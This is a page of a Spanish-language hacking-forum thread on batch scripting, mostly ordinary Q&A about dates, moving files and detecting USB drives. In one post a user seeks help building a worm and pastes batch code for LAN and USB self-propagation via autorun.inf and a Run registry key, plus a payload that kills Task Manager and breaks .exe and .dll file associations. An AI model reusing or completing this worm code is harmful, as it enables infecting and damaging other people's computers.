elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
12 Febrero 2012, 21:17  

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez.)
| | |-+  -> Programación BATCH Avanzada. (nuevo)
0 Usuarios y 3 Visitantes están viendo este tema.
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 Ir Abajo Respuesta Imprimir
Autor Tema: -> Programación BATCH Avanzada. (nuevo)  (Leído 171,592 veces)
carlitos.dll

Desconectado Desconectado

Mensajes: 266



Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #75 en: 13 Agosto 2008, 22:31 »

Hola a todos!

Como puedo hacer que se cree una unidad de red con bat?

Gracias.

con el comando net use


En línea
Xen11

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #76 en: 14 Agosto 2008, 16:28 »

reitero la pregunta Hola que tal, quiero que el batch fije la fecha actual, la cambie por una X fija, abra un exe y luego la setee a la que fijo en primer orden, lo que me ocurre es que se setea a la "actual" luego de cerrar el programa, en que me equivoco, o que me falta?

Código:

FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)

date 29-07-2008

C:\vet\vet.exe

date %fecha%


Muchas gracias!


En línea
Novlucker
Ninja y
Moderador
***
Desconectado Desconectado

Mensajes: 10.225


Yo que tu lo pienso dos veces


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #77 en: 14 Agosto 2008, 16:56 »

En que para ejecutar el programa deberías de utilizar start, si no lo haces el cmd queda a la espera de que se cierre el programa, y luego sigue, es como hacer start /wait

Código
FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)
 
date 29-07-2008
 
start C:\vet\vet.exe
 
date %fecha%

Saludos  ;)
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Shinseiki86

Desconectado Desconectado

Mensajes: 33


Loading...


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #78 en: 21 Agosto 2008, 02:45 »

Buenas noches!

Necesito abrir un txt y buscar un dato especifico (aaaa-mm-dd) que se encuentra en la columna columna 505 hasta la 514 de la primera linea, y reemplazar este por otra fecha.

El nombre del archivo tiene esta estructura:

aaaa-mm-dd_numero_cc_numero_eps018_00_I.txt

Y necesito que modifique este archivo en la linea uno columna 505-514 con la fehca que se encuentra en el nombre.
Es posible con bat?


En línea
ACALFCROW

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #79 en: 12 Septiembre 2008, 18:58 »

hola que tal espero me puedan ayudar estoy creando un bat para un ejecutable el problema es que en cierto momento el ejecutable me pide que agregue otro nombre

de archivo o presione enter y ahi es donde no se como meter un enter en el bat he intentado dejar espacio en blanco un punto pero como espera el nombre de

un archivo o enter me lo toma como nombre de archivo alguien me puede ayudar
En línea
sib85

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #80 en: 25 Septiembre 2008, 00:07 »

Hola::

Tengo una duda un poco urgente, ¿Como puedo leer sólo la primera linea de un fichero txt?

lo que tengo que hacer es pasar un script de linux a windows y recrear la funcion
head -1 de shell script. Había pensado en un for, pero no se cómo poner el límite de 1 sola línea.

Muchas gracias de antemano :)

Nieves
En línea
augustocgg

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #81 en: 29 Septiembre 2008, 04:48 »

Hola

Me pueden ayudar de como hago para programar el siguiente bat

el bat me tiene que copiar archivos de una carpeta especificada, y solamente tienen que ser los archivos creados en el mes en curso de windows

la validacion seria solor por el mes en curso del sistema

Gracias a todos
En línea
flony

Desconectado Desconectado

Mensajes: 266



Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #82 en: 7 Octubre 2008, 21:14 »

hola quisiera mover unos archivos que tengo en una carpeta a otra y que pueda distinguir entre .doc y .txt si me dan una mano seria barbaro
En línea

si un problema no tiene solucion entonces no es un problema...es algo inevitable
Novlucker
Ninja y
Moderador
***
Desconectado Desconectado

Mensajes: 10.225


Yo que tu lo pienso dos veces


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #83 en: 7 Octubre 2008, 21:32 »

Hola, con el comando move alcanza, simplemente utilizas el comodín *

Código
move *.doc carpetadestino
move *.txt carpetadestino

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
http://twitter.com/novlucker

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

chill@321

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #84 en: 10 Octubre 2008, 22:21 »

 :huh: tengo duda como se programa para que se prenda la compu  :huh:
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #85 en: 17 Octubre 2008, 03:09 »

jajaja, osea remotamente? o con un timeout? o como? depende que quieras hacer...
En línea

devil_boskonovitch

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #86 en: 1 Noviembre 2008, 17:13 »

Hola muchachos...!!!

Entro para ver si me podrian ayudar con unos codigos BAT...

Es que necesito un BAT que haga lo siguiente:

Que se propague por memorias USB, disco duros y particiones...!!!
Y que se pueda propagar en una RED LOCAL y que se autoejecute en las PC infectadas....


Hace ratico... encontre estos codigos de propagacion de red local, pero no me han funcionado:

Código:
@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
goto mode

Y este otro:

Código:
@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
if ip 192.168.1.255 goto salir else goto mode
:salir
exit

Me mandan error...

Y encontre este para que se propague en USB:

Código:
@echo off
attrib +s +h %0
msg * hacked by -={ naxo itc }=-
reg add hklm\software\microsoft\windows\currentversion\run /V Dump.exe /D C:\Drivers\Dump.exe /f

:bluce
ping -n 10 127.0.0.1
IF exist C:\Drivers (goto 02) else (md C:\Drivers & attrib +h +s C:\Drivers & goto 02)
:02
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers (goto a) else (md %%A:\Drivers & attrib +h +s %%A:\Drivers & goto a) )

:a
IF exist C:\Drivers\Dump.exe (goto 05) else (goto 04)
:04
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -s -h %%A:\Drivers\Dump.exe & copy "%%A:\Drivers\Dump.exe" "C:\Drivers\Dump.exe" & attrib +s +h %%A:\Drivers\Dump.exe)
attrib +h +s C:\Drivers\Dump.exe
:05
IF exist C:\autorun.inf (goto 07) else (goto 06)
:06
echo [AutoRun]>>C:\autorun.inf
echo label= naxo itc>>C:\autorun.inf
echo open=Drivers\Dump.exe>>C:\autorun.inf
echo shellexecute=Drivers\Dump.exe>>C:\autorun.inf
echo shell\Auto\command=Drivers\Dump.exe>>C:\autorun.inf
attrib +h +s C:\autorun.inf
:07
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" C:\autorun.inf') do set co=%%B
if naxo== %co% (goto b) else (goto nar)
:nar
attrib -h -s C:\autorun.inf
del /f /q C:\autorun.inf
goto 06

:b
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers\Dump.exe (goto 0Cool else (attrib -s -h C:\Drivers\Dump.exe & copy "C:\Drivers\Dump.exe" "%%A:\Drivers\Dump.exe" & attrib +h +s %%A:\Drivers\Dump.exe & attrib +s +h C:\Drivers\Dump.exe & goto 0Cool )
:08
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\autorun.inf (goto 09) else (attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce) )

:09
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" %%A:\autorun.inf') do set co=%%B )
if naxo== %co% (goto bluce) else (goto her)
:her
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s %%A:\autorun.inf & del /f /q %%A:\autorun.inf )
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce )

En este.. la amenaza no se copia a la carpeta Drivers que crea el BAT...????? Aun cambiando el nombre de la amenaza por un BAT, no se aplica...???

El codigo que quiero propagar es este:

Código:
@echo off
taskkill /im taskmgr.exe
msg * BURLANDO TODAS LAS DEFENSAS DE TU EQUIPO
CD C:\Program Files\
assoc .exe=txtfile
assoc .dll=batfile
CD C:\Documents ans Settings\All Users\Desktop
echo YO HE DESTRUIDO TODOS TUS PROGRAMAS > Hola.txt
exit

Cualquier ayuda se la agradecería....Mucho...!!!

Saludos...
« Última modificación: 1 Noviembre 2008, 17:15 por devil_boskonovitch » En línea
patovica

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #87 en: 2 Noviembre 2008, 15:02 »

Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.
En línea
Darioxhcx


Desconectado Desconectado

Mensajes: 2.140


Ver Perfil
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #88 en: 2 Noviembre 2008, 18:50 »

Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.
if exist E:\
algo asi ?
saludos
En línea

Leo Gutiérrez.
. . .. ... ..... ........ ............. .....................
Moderador
***
Desconectado Desconectado

Mensajes: 2.938


/^$/


Ver Perfil WWW
Re: -> Programación BATCH Avanzada. (nuevo)
« Respuesta #89 en: 2 Noviembre 2008, 18:54 »

Mira este codigo detecta las unidades removibles (para sistemas en español) :
Código:
@echo off
for /f "tokens=3" %%x in ('echo list volume ^| diskpart ^| find /i "Extra"') do (echo %%x:)
pause>nul

Comandos que podrian servirte :
Código:
wmic logicaldisk get caption
Código:
fsutil fsinfo drives
Código:
echo list volume | diskpart

Ahora prueba este codigo aver si te sirve :
Código:
@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
pause>nul
Código:
@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
pause>nul
exit /b


Saludos.
En línea

Código
(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}
 

leorocko13@hotmail.com
https://github.com/leogtzr/
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
programacion avanzada en C...
Programación C/C++
l.Proteo.l 5 1,311 Último mensaje 1 Octubre 2005, 11:54
por Ragnarok
programacion creo que avanzada
Programación General
nixx 2 488 Último mensaje 9 Octubre 2005, 18:02
por Ragnarok
[G] Libro Programacion Avanzada en Ensamblador!!!
ASM
-Gosw- 3 2,765 Último mensaje 27 Mayo 2009, 10:40
por -Gosw-
algunas dudas en programacion BATCH(nuevo en esto de programacion)
Scripting
stock_C 8 1,971 Último mensaje 19 Junio 2009, 18:08
por frank30
[Taller] Programacion Avanzada en C/C++ (Linux)
Programación C/C++
[L]ord [R]NA 0 2,822 Último mensaje 4 Octubre 2010, 04:53
por [L]ord [R]NA
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines